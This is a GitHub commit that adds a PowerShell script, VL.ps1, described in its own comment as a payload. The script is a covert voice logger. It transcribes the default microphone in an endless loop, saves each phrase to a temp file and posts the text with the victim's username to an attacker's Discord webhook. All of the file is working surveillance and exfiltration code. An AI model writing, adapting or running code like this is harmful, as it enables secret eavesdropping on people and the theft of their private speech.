Create VL.ps1

This commit is contained in:
I-Am-Jakoby 2023-05-03 05:04:46 -05:00 committed by GitHub
parent a76e5e675f
commit cd53a6ab6a
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,49 @@
function DC-Upload {
[CmdletBinding()]
param (
[parameter(Position=0,Mandatory=$False)]
[string]$text
)
# $dc = 'YOUR DISCORD WEBHOOK GOES HERE IF YOU HOST YOUR OWN VERSION OF THIS PAYLOAD'
$Body = @{
'username' = $env:username
'content' = $text
}
if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)};
}
function voiceLogger {
Add-Type -AssemblyName System.Speech
$recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine
$grammar = New-Object System.Speech.Recognition.DictationGrammar
$recognizer.LoadGrammar($grammar)
$recognizer.SetInputToDefaultAudioDevice()
while ($true) {
$result = $recognizer.Recognize()
if ($result) {
$results = $result.Text
Write-Output $results
$log = "$env:tmp/VoiceLog.txt"
echo $results > $log
$text = get-content $log -raw
DC-Upload $text
# Use a switch statement with the $results variable
switch -regex ($results) {
'\bnote\b' {saps notepad}
'\bexit\b' {break}
}
}
}
Clear-Content -Path $log
}
voiceLogger